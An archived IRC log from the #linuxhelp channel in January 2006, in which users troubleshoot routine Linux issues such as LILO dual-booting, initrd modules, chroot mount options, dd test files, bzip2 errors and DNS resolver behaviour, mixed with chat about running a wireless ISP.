#linuxhelp. [23:12] mako-sam1 (i=1000@82.194.56.200) left irc: Read error: 104 (Connection reset by peer) [23:13] awol: oh and that was the partner who walked away? [23:13] my buddy has a kid named Adelaide. [23:13] ddttmm: yup! you got it.... [23:13] ok so you'll be competing with him? [23:13] and i guess you can't file a lawsuit huh? [23:13] exactly... [23:13] marc_in_lux (n=marc@pascal.gerges.lu) joined #linuxhelp. [23:14] you're sure? you've consulted a lawyer? [23:14] perhaps there'd be a free consultation available. [23:14] yup [23:14] k [23:14] kreg (n=kreg@12.160.232.30) left irc: Read error: 104 (Connection reset by peer) [23:14] strange. sux. [23:14] contracts for EVERYBODY! \o/ [23:14] kreg (n=kreg@12.160.232.30) joined #linuxhelp. [23:14] i mean i could get some cash... but not enough to even cover legal fees [23:14] ok so focus more on rural deployment perhaps [23:14] like you were saying [23:15] #linuxhelp (+ctrn) : [m/115 o/0 h/0 v/0 n/115 b/19 e/- I/-] [23:15] rural people tend to be more flexible and reasonable, because they're living where they want to live and they have fewer options. [23:15] good morning [23:15] it's more like regional..... many new suburbs have inferior phone lines so they cant get dsl.... [23:15] marc_in_lux: hi [23:15] there's one suburb alone with 10,000+ potential customers [23:15] awol: ok well good luck with that whole thing. you hadn't mentioned at all that you'd already operated a wisp ;) lol [23:16] ddttmm: well the thing was... it was never "officially" a wisp as we never had a license so we couldn't charge people and make money [23:17] awol: 802.11b is becoming better all the time at non-LoS operation. and you can assemble a turnkey outdoor 200 mW CPE or AP running linux for < $180 US. minipci boards go to 400 mW. [23:17] awol: a license for what? a business license? [23:17] I've added a s-ata drive to my linux (debian) box, and now it stops at boot because it can't mount the partitions on there. Looks like the module for sata loads only after it trying to mount. [23:17] how can I reverse that? [23:17] carrier's license [23:17] .au laws [23:17] awol: oh you don't have unlicensed spectrum?! [23:17] at all? [23:17] or just not for 802.11b [23:17] that's too terrifying to contemplate ;) [23:18] ddttmm: yeah 802.11b is unlicensed for personal use and community networks but commercial enterprises have to pay for it... $2.2K per license [23:18] marc_in_lux: you can use a ramdisk (initrd) or recompile your kernel to include the module statically [23:18] k [23:18] awol: $2200 per ISP, total, forever? [23:18] inv_Arp (n=junya@c-66-176-211-109.hsd1.fl.comcast.net) joined #linuxhelp. [23:19] marc_in_lux: all drivers required for booting (hardware/file systems etc...) MUST be buildin and not modularised... basic kernel 101 [23:19] lalalala [23:19] it's not really required, I boot off /dev/hda [23:19] awol: didint know you hang on freenode also [23:20] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [23:20] awol: 101? o_O [23:20] I was hoping to not have to recompile a kernel and break the package management for this [23:20] ddttmm: yeah basically.... it's quite a minefield of paperwork though with new anti-terrorism laws and interecption required as necessary by authorities [23:20] inv_Arp: i run a few channels on here and lurk in others a lot [23:21] Basic kernel 1001001 1001010 1001011 :) [23:21] marc_in_lux: man mkinitrd may help [23:21] awol: ahh [23:21] inv_Arp: i'm now an "official" madwifi debain maintainer too now... [23:21] inv_Arp: i hangout in #madwifi a lot [23:22] didint even know sch a chan existed [23:22] such* [23:23] consider yourself now "informed" [23:23] awol, my standard kernel seems to already use and initrd. Can I just add a module? [23:23] marc_in_lux: initrd is probably the least invasive [23:23] marc_in_lux: yeah [23:23] it's kinda tricky... but ya get used to it [23:24] there's something imminently appropriate about the term "madwifi" [23:24] something that makes me want to distressedly, yet satisfiedly say, "yes. it is." [23:25] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [23:25] i have a buddy who alleges 18Mbps sustained through 100 yards of trees with madwifi and no amp. [23:25] you haven't met my mad wombat then.... [23:25] with a directional cpe and omni AP [23:25] 400 mW atheros card on the AP [23:25] he's my bot... has a megahal AI.... hangs out in #madwifi making ppl laugh.... [23:25] oic [23:26] ddttmm: that buddy may be speaking the truth... it's doable... [23:27] yeah. [23:27] i'm beaming through a grove of trees right now [23:27] pretty freakin awesome [23:27] just a couple years ago, that would be unthinkable without 900 Mhz [23:27] MHz [23:27] i dont have LOS to where i'm connecting [23:27] capgadget (n=elifino@adsl-68-95-249-173.dsl.rcsntx.swbell.net) joined #linuxhelp. [23:27] i just point in that direction... [23:28] but i do have a very good slotted waveguide with a very strong broad signal to connect to... [23:29] awol: what's the equipment value of your CPE and of your AP? [23:30] bMotion: running level 4 self-diagnostic [23:30] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [23:30] Action: rage__ slaps rage__ around a bit with a large trout [23:30] Viking667 (n=viking@203.184.24.87) joined #linuxhelp. [23:30] rage__ (n=rage@ool-43550d3d.dyn.optonline.net) left irc: [23:31] Hi all. I'm not happy with my new Windows XP. I've had to put the *** thing on hda, and now I can't get lilo from knoppix to lilo the hda mbr [23:31] Viking667: hey ask for a refund! [23:31] i know some people who did that [23:31] (at least not using Knoppix,s own lilo, and my lilo.conf.) [23:31] can't - it was a gift. [23:31] turns out you're not the only dissatisfied M$ customer :-/ [23:32] i'm using a an old P166 with 64M ram and 2 x prism2 cards in it... one for client connection to the tower and one with a colinear up on my roof for my local wlan..... and an athlon XP200 at the tower end... running my web server, 2 bots, this irc client and nat'ing my wlan and handling the cable connection [23:32] Anyhow. has anyone got any suggestions (apart from grub, that is)? [23:33] bornoffire (n=pheionix@ool-43550d3d.dyn.optonline.net) joined #linuxhelp. [23:33] I'd really like to dual-boot Windows and Linux (which is now on hdb.) [23:33] Viking667: what exactly is the problem [23:33] Viking667: and symptoms [23:34] Well, the exact problem is: I decided to use lilo to put a boot sector back onto hda (the one with the XP partition). except if I chroot into my own root and try lilo from there, it can't read the devices (Permission denied - HAH!) . [23:35] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [23:35] When I try using lilo outside the chroot (knoppix's own lilo) and my own lilo.conf file, I get weird /dev/mapper missing sort of errors. [23:35] Viking667: what does lilo -R /KNOPPIX/dev/hda [23:35] reurn [23:35] Anybody know of a secure fast distro, thats relitivly easy to maintain... its for a laptop. Needs to support an athos wireless card. I was hopeing on kismet [23:35] I'm trying very hard NOT to have to use ntldr, as you can probably understand. [23:35] I'll give you that in a moment. [23:35] Viking667: what hd is the linux on? [23:36] hdb [23:36] bornoffire: any debian based distro is really ez to maintain [23:36] Viking667: so why not just make linux hda nad leave the wincrap /mbr alone.... trivial to setup that way [23:36] security is up to you not the distro [23:36] awol, problem is, WinXP wouldn't install on anything BUT hda. [23:36] bornoffire: a live cd perhaps like knoppix [23:37] Kept locking up on the lilo. [23:37] Viking667: why not use grub [23:37] bornoffire: security is not really an issue on anythign where you're not blatantly enabling services. [23:37] Viking667: yeah right.... np's.... install wincrap normally... then make it hdb and install linux on hda [23:37] Viking667: grub-install /dev/hda [23:37] bornoffire: it's not an alarming issue i mean [23:37] tried that alreaddy. [23:37] Viking667: hello? anyone home? [23:38] i.e. I installed WinXP, switched over the hard drives, pointed lilo at hdb's table, and ... got about seven screens of binary gook. [23:38] Viking667: hey? wanna know the correct way to do it? [23:38] so now I've switched back over the drives (the way XP wanted them - yeesh), and now I'm trying to get lilo to init hda's partition. [23:39] Viking667: listen up.... [23:39] well basicly the laptop will be spending a large amount of time on untrusted lans... i was running debian for awhile but i was haveing trouble with the machine not releasig the mounts proper [23:39] something with the powermanagement on the lappy [23:39] Viking667: install wincrap like normal then make it slave hd and add this to lilo.conf entry for wincrap ---> boot-as=0x80 <-- and run lilo off the linux hd at /dev/hda [23:40] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [23:40] Viking667: that line will swap the hd's around at the bios level when ya choose wincrap from the boot menu [23:40] tried that already. But we're dealing with winXP here, not Win98. [23:41] and xp's boot loader doesn't like it? [23:41] well another reason to hate M$.... [23:41] I got Error 0x01 from lilo. [23:41] on boot. [23:41] anybody here run bsd? or will i be giveing up to much in the way of software compatability? [23:41] Viking667: did you google that error [23:41] did you run lilo after editing lilo.conf? [23:41] capgadget (n=elifino@adsl-68-95-249-173.dsl.rcsntx.swbell.net) left irc: "WTF is wrong with this th i &*% thingggg n00w8(^%" [23:41] awol, I'm not THAT dumbp [23:42] Viking667: people do it all the time [23:42] lilo sux [23:42] bornoffire: freebsd's linux compatibility is pretty good from what i've heard.... [23:42] i prefer lilo to grub [23:42] lilo has been pretty good for me in most regards. I'm also trying to avoid grub because I'm so used to lilo, though what I've seen of grub, I like. [23:42] but i'm old school [23:43] so am I. I've been "doing" Linux since about 1997 [23:43] ... and kernel 1.0.9 [23:44] huh? that's an old kernel for even '97 [23:44] I know... [23:44] i started in '95 on 1.12.13 [23:44] But it was all I had access to. [23:44] awol: me too! [23:44] awol: it wasn't slackware 3.0 was it? [23:44] ddttmm: yup! :) [23:44] \o/ [23:44] awol: ^5 [23:44] i was a one eyed slacker to begin with... heh [23:45] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [23:45] lol. [23:45] well how-dee [23:45] i took a screenshot of my linux counter status [23:45] i registered then, upon my first installation [23:45] now i dont really care... so long as it's a linux kernel... [23:45] awol: ha!! well now you're an embedded system engineer ;) [23:45] so. [23:45] somewhat back to square one ;) [23:45] oh. By the way, now I get (/boot/map - no such file) - at least now I can understand that one. [23:46] yeah... anything goes... [23:46] I'll keep poking things here. [23:46] Viking667: a mallet and aspirin are always handy to have around.... [23:46] Nick change: amrit|wrk -> amrit|zzz [23:47] binarydigit (n=bdigit@unaffiliated/binarydigit) left #linuxhelp ("Leaving"). [23:47] can I run /sbin/init from within a chroot? i.e. chroot . /sbin/init ? [23:48] Or is that ... not safe? [23:48] Viking667: you can if it exists in there [23:48] Viking667: if you have the likes of /sbin/init and /sbin/inittab [23:48] hrm. what about pivot-root... err, no. Just realised that'll kill knoppix stone dead. [23:48] cos init's never supposed to exit [23:48] ymmv depending how well setup the environment is [23:48] Mandriva. [23:48] awol: i had a fantasy today of installing slackware 3.0 in qemu and seeing how fast i can compile linux 1.2.13 at 2400 Mhz [23:49] awol: it took 5 hrs and 40 mins on my first linux system. [23:49] ddttmm: you like whips, chains and leather too? [23:49] ya can't. gcc will throw wobbly if it hits timing bugs. [23:49] awol: no. i'd prolly delete it immediately ;) [23:49] awol: the software bulk has scaled along with Moore's law ;) [23:49] i started out with a 386DX40.... took all night to compile the kernel... [23:50] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [23:50] 8M ram.... [23:50] marc_in_lux (n=marc@pascal.gerges.lu) left irc: "Leaving" [23:50] How is slack? [23:50] bornoffire: it's slack.... why? [23:50] lols. [23:50] i would rather use linuxfromscratch.org these days [23:50] bornoffire: what kinda question is that? [23:50] slackware defies the purpose of having an operating system distribution. [23:51] damn. STILL can't access /dev stuff from within the chroot. [23:51] except possibly as a boot disk collectoin that's more extensive than tomsrtbt [23:51] how come? [23:51] and i mean floppies only [23:51] Viking667: maybe coz they dont exist, or they're wrong. [23:51] ddttmm: i disagree.... slack is for people who like to really get "hands-on" with their systems [23:51] Viking667: tell us exactly what you see [23:51] awol: yeah, but there's no point beyond lfs [23:51] awol: it's essentially obsolete [23:51] cat /dev/null: /dev/null: permission denied. [23:51] Viking667: well coz the perms are wrong. [23:52] Viking667: why dont you believe what it says? :) [23:52] crw-rw-rw- /dev/null (and I'm the root user) [23:52] Viking667: use 'sudo cp -a /dev/null /var/chroot/dev/null' or something [23:52] i've run dibian ubunto fedora gentoo and am looking for something diffrent i really liked gentoo but that was getting my hands too dirty? [23:52] Viking667: ok do 'ls -la dev/null' [23:52] ... unless the damn things' mounted noexec [23:52] Viking667: :/ [23:52] Viking667: no you're not executing it [23:52] Viking667: ensure that you copied the proper node file [23:53] bornoffire: you'd have fun with slack and/or LFS too [23:53] Viking667: give me the ls [23:53] bornoffire: linuxfromscratch.org will hold your hand [23:53] crw-rw-rw- ... root root /dev/null [23:53] Viking667: no, the whole thing. [23:53] yeah go there and have lots of fun... [23:53] heh i actualy have a lfs manual from way back in the day pre 2.0 [23:54] bornoffire: if you're wanting to actually learn how everything works. unless you're wanting to just whack yourself on the head with a rice rocket toy and have other people irrationally agree with your arbitrary choices; then use gentoo [23:54] bornoffire: what's your objective [23:54] yeesh. [23:55] #linuxhelp (+ctrn) : [m/115 o/0 h/0 v/0 n/115 b/19 e/- I/-] [23:55] gimme a mo. [23:55] Viking667: k [23:55] i actually prefer debian... but only because i'm lazy.... [23:55] crw-rw-rw- 1 root root 1, 3 Jul 23 2004 /mnt/hdb2/dev/null [23:55] that's from outside the chroot. [23:55] strip off the /mnt/hdb2 for the inside the chroot result [23:57] Viking667: ok that's correct then. [23:57] so i'm mildly puzzled. [23:58] got it... mount had mounted the partition nodev,nosuid [23:58] Viking667: oh i have never used nodev so i didn't know about it [23:58] that's what I was TRYING to chase up... [23:58] yeah. [23:58] Viking667: you almost had it ;) [23:58] big ups to ya [23:58] yeah. I had a suspicion it was that. Now I can go off and lilo. [23:58] thanks. [23:58] k [23:59] i would like something to play with learn with... which means a bunch of security tools to probe around lans... kismet ... some emulators... this box will be with me 24 7 for the next 3 months and i won't have much time to toy with it. but its always gonna be on the move [00:00] #linuxhelp (+ctrn) : [m/115 o/0 h/0 v/0 n/115 b/19 e/- I/-] [00:00] --- Wed Jan 4 2006 [00:00] Backing up user file... [00:00] Backing up channel file... [00:01] Oranabi: iptraf [00:01] gartt_ (n=gart@ip68-0-206-237.ri.ri.cox.net) joined #linuxhelp. [00:02] thanks i am gonna check it out now [00:13] Smileee (n=mark@dyn-36.greentreefrog.net.au) left irc: Read error: 110 (Connection timed out) [00:13] SmileeeM (n=mark@dyn-33.greentreefrog.net.au) joined #linuxhelp. [00:14] drcode (n=chatzill@87.69.59.186) joined #linuxhelp. [00:14] drcode (n=chatzill@87.69.59.186) left #linuxhelp. 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[00:54] blah, why must I try so hard to compress animations down extremely small so I can fit four seasons of Rocko's Modern Life on one DVD? [00:54] crazy MPEGness [00:56] ejovrh (n=ejovrh@p549842CF.dip0.t-ipconnect.de) joined #linuxhelp. [01:03] hmm. 410 kbit/sec is probably a bit bitrate for video. [01:16] CHodapp: omfg! rocko!!!!! [01:18] I didn't get cable as a kid, so I don't have that kind of nostalgia =P [01:18] amrit: indeed. [01:18] Triskelios: aw, dude. you missed out. rocko was the *best* [01:19] Shadowpillar (n=Shadow@dialup-4.233.121.179.Dial1.LosAngeles1.Level3.net) left irc: Read error: 104 (Connection reset by peer) [01:21] SmileeeM (n=mark@dyn-33.greentreefrog.net.au) left irc: Read error: 104 (Connection reset by peer) [01:27] hd420 (n=hdiwan@c-76-21-105-226.hsd1.ca.comcast.net) joined #linuxhelp. [01:29] Grommet (n=grommet@74.134.138.78) joined #linuxhelp. [01:29] anyone know if qmail supports SASL? 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[03:04] /etc/init.d/named stop Stopping named: rndc: connection to remote host closed [03:04] this requires a rndc reload ? as named is running at ps awux |grep named [03:11] http://inlandempire.craigslist.org/car/240922729.html I want the moo bus [03:11] wonder if it can run linux [03:11] Action: Shadowpillar is bricked [04:00] \dev\bot joined #linuxhelp. [04:08] sanzana (i=zirc@pc-23-109-241-201.cm.vtr.net) left irc: "[=Z=] - Read error 666: (Connection reset by Satan)" [04:09] Oranabi (n=ayhan@i60-42-190-68.s05.a023.ap.plala.or.jp) joined #linuxhelp. [04:09] seemawn (n=seemawn@dslb-084-058-150-128.pools.arcor-ip.net) left irc: Remote closed the connection [04:11] reefer (i=reefer@cc771405-a.ensch1.ov.home.nl) joined #linuxhelp. [04:15] Exodus (n=exodus@200.109.45.173) joined #linuxhelp. [04:51] SmileeeM (n=mark@dyn-16.greentreefrog.net.au) left irc: Read error: 110 (Connection timed out) [04:51] Smileee (n=mark@dyn-16.greentreefrog.net.au) joined #linuxhelp. [04:51] lesshaste (n=lesshast@87.112.19.1.bbplus.ptn-ag1.dyn.plus.net) joined #linuxhelp. [04:51] what's a nice web page editor? bluefish looks a bit two sophisticated [04:53] irvken (n=seank@81.187.148.14) joined #linuxhelp. [04:53] seemawn (n=seemawn@dslb-084-058-150-128.pools.arcor-ip.net) joined #linuxhelp. [05:05] maybe quanta [05:06] Amallya (n=Adyna@193.108.235.251) left irc: Read error: 104 (Connection reset by peer) [05:07] lesshaste, : Nvu [05:07] thx [05:07] its closest to Dreaweaver like OS tool [05:08] os tool? [05:12] Amallya (n=Adyna@193.108.235.251) joined #linuxhelp. [05:16] hikenboot (n=hikenboo@c-24-218-84-234.hsd1.ma.comcast.net) left irc: Read error: 60 (Operation timed out) [05:18] seemawn (n=seemawn@dslb-084-058-150-128.pools.arcor-ip.net) left irc: "Naspa- wir können kein Geld, wir können nur billig!" [05:21] open source. (speaking in the context) [05:38] irvken (n=seank@81.187.148.14) left irc: "Leaving" [05:38] irvken (n=seank@81.187.148.14) joined #linuxhelp. [05:40] ragedragon (n=dragon@lns-bzn-26-82-254-102-201.adsl.proxad.net) joined #linuxhelp. [06:09] i am usng vcnviewer on my suse computer to connect and control my second box. My question: is it possible to control several computer simultaneously or it is only between 2 computers [06:13] Piet (i=pietor@gateway/gpg-tor/key-0xC5C71DCE) joined #linuxhelp. [06:14] Romster (i=romster@gateway/tor/x-34d6f8e96056b436) left irc: Remote closed the connection [06:14] overnout (i=NhI02jMe@C3324.karlshof.wh.tu-darmstadt.de) joined #linuxhelp. [06:20] Romster (i=romster@gateway/tor/x-4d104ddfba5121d0) joined #linuxhelp. [06:24] Sparki3 (n=D3LTA@co63282-d.almel1.ov.home.nl) joined #linuxhelp. [06:24] hello [06:25] need help with a file related request please [06:37] mrproper_ (n=mrproper@210.18.208.38) left irc: "Leaving" [06:42] tafsen (n=tafsen@193.90.30.102) left irc: Remote closed the connection [06:48] seemawn (n=seemawn@dslb-084-058-150-128.pools.arcor-ip.net) joined #linuxhelp. [06:50] hey Sparki3 ;D [06:50] ragedragon (n=dragon@lns-bzn-26-82-254-102-201.adsl.proxad.net) left irc: Read error: 110 (Connection timed out) [06:50] hey :) [06:50] what ya doing here :) [06:51] im trying to get my ethernet card to work [06:51] lol [06:52] just ask your question dont ask to ask [06:53] got a shitty question [06:54] tried myself but i'm a real linux n00b [06:55] will plz ask the godamn question [06:55] will u* [06:55] okay [06:55] got a linux.2 file its a tar.gz file and i need a file to be add in the linux.2 file :S [07:02] Shadowpillar_ (n=Shadow@dialup-4.233.123.17.Dial1.LosAngeles1.Level3.net) joined #linuxhelp. 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[08:06] brain freeze, can somebody remind me of the name of those fancy firewalls with AV and spam filtering. the name for an all in once solution...? [08:07] they are called appliances ;b [08:08] johnzorn (n=jz@modemcable191.130-37-24.mc.videotron.ca) left irc: Read error: 110 (Connection timed out) [08:08] yeah, I thought there might be another marketing name for the type of appliances... [08:08] oh well... [08:25] Faithful (n=Faithful@ns.linuxterminal.com) left irc: Read error: 110 (Connection timed out) [08:25] Faithful (n=Faithful@ns.linuxterminal.com) joined #linuxhelp. [08:41] ragedragon (n=dragon@lns-bzn-26-82-254-102-201.adsl.proxad.net) left irc: Read error: 145 (Connection timed out) [08:44] blaylock (n=seth@snap.helixsystems.com) joined #linuxhelp. [08:47] Oranabi (n=ayhan@i60-42-190-68.s05.a023.ap.plala.or.jp) left irc: "gotta go, cya all..." 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[09:18] node314: not really. if outgoing is sourced to a different IP, you cannot establish a proper tcp connection [09:21] I understand that the task is not easy to realize. But is it impossible at all? [09:28] krang (n=krang@CPE0010a7029fd7-CM0000390d1a5e.cpe.net.cable.rogers.com) joined #linuxhelp. [09:29] ufk (n=ufk@mail.zend.com) joined #linuxhelp. [09:29] hiya [09:30] i need regular expression help [09:30] if i do: sed -e '/\.(.*)\//g' file [09:30] how can i get the information that was returned in the () ? [09:32] ejovrh (n=ejovrh@83.243.112.113) joined #linuxhelp. [09:35] ufk: try \1 [09:35] where do i put the \1 exactly ? [09:35] Sparki3 (n=D3LTA@co63282-d.almel1.ov.home.nl) left #linuxhelp. [09:41] '/\.(.*)\/\1/g' [09:41] there ;) [09:46] node314: afaik, not without routing that's beyond your control. you'd need to talk to your ISP(s) about doing it [09:47] Romster (i=romster@gateway/tor/x-4d104ddfba5121d0) left irc: Remote closed the connection [09:47] Anyone know why this command isn't generating me a file full o' random data? It just sits there doing nothing: dd if=/dev/random of=100MB count=204800 [09:48] Fiver, i can try changing source address of my packets. But ISP's router may drop it. In such a case the task seems impossible [09:48] node314: precisely [09:50] krang: /dev/random will only read from gathered entropy [09:50] krang: Which is pretty quickly exhausted [09:51] krang: /dev/urandom will resort to a pseudorandom number generator once entropy has been exhausted; that's what you want in this case [09:51] Romster (i=romster@gateway/tor/x-11a16a33037b928a) joined #linuxhelp. [09:51] krang: Alternatively, jiggle your mouse around a lot and generate some network traffic, etc. :) [09:51] sekhmet: wow, I had no idea. Thanks! [09:51] np [09:52] hmmm, it's still pretty slow. I really don't care what I put in the file, I just need arbitrarily sized files full of data that isn't copied from real files. Would there be a faster source file? [09:55] /dev/zero would work [09:55] node314 (n=tehnik@89.151.136.100) left #linuxhelp ("segmentation fault"). [09:55] sekhmet: I guess it would, cheers again! [09:56] np. :) [10:02] irvken (n=seank@81.187.148.14) left irc: Read error: 104 (Connection reset by peer) [10:04] AcTiVaTe (n=activate@activate.demon.nl) joined #linuxhelp. [10:05] Hmmm, file sizes are reading slightly wrong. How do I check the block size on a filesystem? [10:07] krang: It'll vary from fs to fs. ext[23] you can get with dumpe2fs [10:07] Romster (i=romster@gateway/tor/x-11a16a33037b928a) left irc: Remote closed the connection [10:07] sekhmet: dandy, thanks. [10:12] Okay, so I know I'm splitting hairs here, but my file of size 1024*1024*85=89128960 bytes is listed as being 86MB by du. Why would that be? [10:14] krang: Error in du perhaps? [10:14] That's what my system does too [10:14] ls -h reports 85M [10:15] sekhmet: Ah, well, as long as it's normal. I was starting to think my processor couldn't do math or something :-) [10:16] yeah, ls -lh gives me 85M too [10:16] though dd reports 86 when outputting the file as well. Ah well, the number of bytes is right :-) [10:17] Yeah, kind of strange [10:17] Wouldn't have expected the numbers to be off like that [10:18] I wonder how common that is [10:19] Edward123 (n=d@netring.gotadsl.co.uk) left irc: Read error: 104 (Connection reset by peer) [10:19] could you just try dd'ing up an 85MB file and seeing what it tells you for size when it's done? [10:19] dd itself acutally reports 89MB for me, obviously using SI instead of binary units [10:20] hey all, trying to get my Bluetooth up and running. But so far I can't get my PC to recognize my phone. Using Mandriva cooker with an Nokia N73 [10:20] sekhmet: bloody hell. I guess I'll just learn not to trust the evil, lying machines then :-) [10:20] krang: Though dd *does* do the Right Thing if I specify bs=85M count=1 [10:20] Go figure [10:21] sekhmet: oh, maybe I should have given the machine more trust in the first place and let it do the calculating then :-) [10:21] It probably did all that confusing stuff because it thinks I hate it. I've lost its goodwill [10:22] Action: sekhmet blames some celestial body being in opposition to some other celestial body [10:23] Action: krang shakes a fist at the sky [10:25] Faithful (n=Faithful@ns.linuxterminal.com) left irc: Success [10:26] Faithful (n=Faithful@ns.linuxterminal.com) joined #linuxhelp. [10:30] TL_CLD (n=thomas@mail.responsum.dk) left irc: "Konversation terminated!" [10:37] irvken (n=sean@82-40-160-124.cable.ubr01.hawk.blueyonder.co.uk) joined #linuxhelp. [10:39] kasc_ (n=kasc@dslb-084-061-246-103.pools.arcor-ip.net) joined #linuxhelp. [10:43] adp1 (n=adp@c-68-35-101-6.hsd1.nm.comcast.net) joined #linuxhelp. [10:43] I can I determine throughput in bytes/sec given the bus speed? [10:43] in mhz? [10:46] toad_ (n=toad@pdpc/supporter/student/toad-with-underline) joined #linuxhelp. [10:46] bzip2: : trailing garbage afterEOF ignored [10:47] what's the most common cause of this? [10:47] this is a file, not a tape, so it shouldn't be zero-padded [10:49] MetaPhaze (n=chains@71-32-129-148.roch.qwest.net) left irc: Remote closed the connection [10:50] dnabre (n=barrick@halsey.cs.unm.edu) joined #linuxhelp. [10:51] toad_: I've seen it occasionally, could hexdump the file to see what's there [10:54] krang (n=krang@CPE0010a7029fd7-CM0000390d1a5e.cpe.net.cable.rogers.com) left irc: "Leaving" [10:55] sekhmet: can't make any sense of the data [10:55] it appears to be two more bzip2 segments [10:55] kasc (n=kasc@dslb-084-061-237-153.pools.arcor-ip.net) left irc: Read error: 110 (Connection timed out) [10:55] Nick change: kasc_ -> kasc [10:55] but they don't make any sense [10:56] adp1 (n=adp@c-68-35-101-6.hsd1.nm.comcast.net) left irc: "Client Exiting" [10:56] Action: toad_ wonders if bzip2 is leaking memory... [10:58] Does the unpacked data look fine at least? [10:58] the data at the beginning is identical [10:58] cmp /ebak2/store/d6/d6c36f3b4f164ff6b9db04388a947663 tmp11.bz2 [10:58] cmp: EOF on tmp11.bz2 [10:58] but the former file is much longer [10:59] it contains two additional bzip2 segments - 899979 bytes and 396519 bytes [10:59] dnabre (n=barrick@halsey.cs.unm.edu) left irc: "Download Gaim: http://gaim.sourceforge.net/" [10:59] decompressing them, file has no idea what they are [11:00] and there are no human readable strings in them either [11:00] the original data was a JPEG; these don't look like JPEGs [11:00] so what it looks like is bzip2 has grabbed a chunk of data from main memory somewhere... [11:01] although even then i'd expect some strings [11:01] know of any entropy estimation tools? [11:03] seemawn (n=seemawn@dslb-084-058-150-128.pools.arcor-ip.net) left irc: Remote closed the connection [11:04] it's not any of the chunks in the original jpeg either [11:04] i mean the bzip2 internal 900kB blocks [11:04] hey all, trying to get my Bluetooth up and running. But so far I can't get my PC to recognize my phone. Using Mandriva cooker with an Nokia N73 [11:04] toad_: Where did it come from? Maybe it's just a corrupted file or something? Is there supposed to be more than the one jpeg? [11:05] sekhmet: it was bzip2'ed by a script [11:05] I've since changed the script to not do bzip2 -c < infile > outfile [11:05] i think when i've had these issues before it may have had something to do with that [11:05] i've also fixed a possible race if the script is run in parallel [11:06] in fact, the latter has to be the most likely explanation... [11:07] what's the easiest way to prevent a script running twice at once? write the pid to a file, check whether the pid in the lockfile is still running? [11:07] dnabre (n=dnabe@milhouse.cs.unm.edu) joined #linuxhelp. [11:09] DejanH (n=dhalil@84-72-105-41.dclient.hispeed.ch) joined #linuxhelp. [11:09] Hi [11:10] I must upgrade from Apache 1.3.7 to Apache2, i have compile Apache 1.3.7 by myself. How i can upgrade now this to Apache2 i have forget my configure options.. [11:11] toad_ (n=toad@pdpc/supporter/student/toad-with-underline) left #linuxhelp ("Konversation terminated!"). [11:23] amphi (n=amphi@unaffiliated/amphi) left irc: Remote closed the connection [11:23] inv_Arp (i=junya@c-71-206-88-100.hsd1.fl.comcast.net) left irc: Connection timed out [11:24] inv_arp[work] (i=junya@c-71-206-88-100.hsd1.fl.comcast.net) left irc: Read error: 110 (Connection timed out) [11:26] I got a problem with my ISP it reckons that my mail server is sending out spam. I know it's not an open relay (tested), how else would they think I'm sending out spam? Is it possible that spammers send email to an unknown user on our domain with a from address of a valid user, causing the server to send a reject message back to the valid mailbox? [11:26] MetaPhaze (n=chains@71-32-129-148.roch.qwest.net) joined #linuxhelp. [11:28] actually... that could be the case. My sendmail is not rejecting unknown users... bloody hell [11:33] seemawn (n=seemawn@dslb-084-058-150-128.pools.arcor-ip.net) joined #linuxhelp. [11:34] windowsrefund (n=windowsr@207.218.71.5) joined #linuxhelp. [11:34] hello [11:35] overnout (i=NhI02jMe@C3324.karlshof.wh.tu-darmstadt.de) left irc: "dematerialising" [11:35] I'm trying to do this scp host:/path/file host2:/path/file but it fails with the following error: [11:35] Host key verification failed. [11:35] looks like only my first server in /etc/resolv.conf is being queried. Any ideas why? According to man resolv.conf, up to 3 should be queried [11:35] lost connection [11:35] why? [11:36] fluxdude, look for the entry in ~/.ssh/known_hosts and delete it [11:36] windowsrefund: a server is queried only if the previous one times out (see the manpage for that file) [11:36] windowsrefund; but I can ssh either on their own fine without any complaints [11:39] Triskelios, oh I must have missed that. Is there any way to set things up so that if the first does not know the answer, the resolver will ask the 2nd and so on? [11:40] fluxdude, I'm not sure what you mean. Did you check the file I mentioned? [11:44] windowsrefund: no; the server's recursive resolver is assumed to "know everything" [11:45] agentbob (i=nobody@CPE00121745da61-CM00140456adc2.cpe.net.cable.rogers.com) joined #linuxhelp. [11:46] not really a linux specific question but not sure where else to ask for help... have some cgi files with #!/usr/bin/perl as first line that are returning ': bad interpreter : no such file or directory' ..yet if i create a test.pl with the same #! it works fine... any idea what might be up? [11:48] agentbob: it's almost certain the files are in DOS format; dos2unix can correct this [11:48] slapd (n=dilly@16.sub-75-200-69.myvzw.com) left irc: Read error: 110 (Connection timed out) [11:49] ah, weird... nothing strange showed up in vim [11:50] worked, thanks! [11:50] (vim handles DOS style files correctly so it would only just have a hint in the status bar) [11:51] dnabre (n=dnabe@milhouse.cs.unm.edu) left irc: Read error: 145 (Connection timed out) [11:52] Anyone here use dvdstyler? [11:58] AcTiVaTe (n=activate@activate.demon.nl) left irc: Read error: 54 (Connection reset by peer) [12:04] awhappd (n=giawhapp@169.232.148.134) joined #linuxhelp. [12:09] augh, I am fucking sick of not having a single DVD authoring GUI on Linux that doesn't royally fuck up everything it touches... [12:10] Shadowpillar_ (n=Shadow@dialup-4.233.123.17.Dial1.LosAngeles1.Level3.net) left irc: Read error: 110 (Connection timed out) [12:14] are there any linux apps that can see excel files? [12:15] lesshaste: yes, there are [12:15] not gnucash or something smaller? [12:16] ah.. .gnumeric [12:16] openoffice does [12:16] there should be other office suites which support m$ formats [12:17] too large.. I think gnumeric is the answer [12:21] bock (n=bock@dslb-084-057-006-072.pools.arcor-ip.net) joined #linuxhelp. [12:21] Hey there. Is there the possibility to add an alternative position to the root partition in the grub kernel line? My sata controller sometimes flips the channels depending on the external drives connected [12:22] lesshaste: iirc are there even cli tools to convert them [12:23] problem is how badly these formats are documented [12:24] windowsrefund: I scped the file to my local folder and then scped it to the remote machine and this worked without problems. no idea why scp host1:/path/file host2:/path/file didn't work [12:30] bock 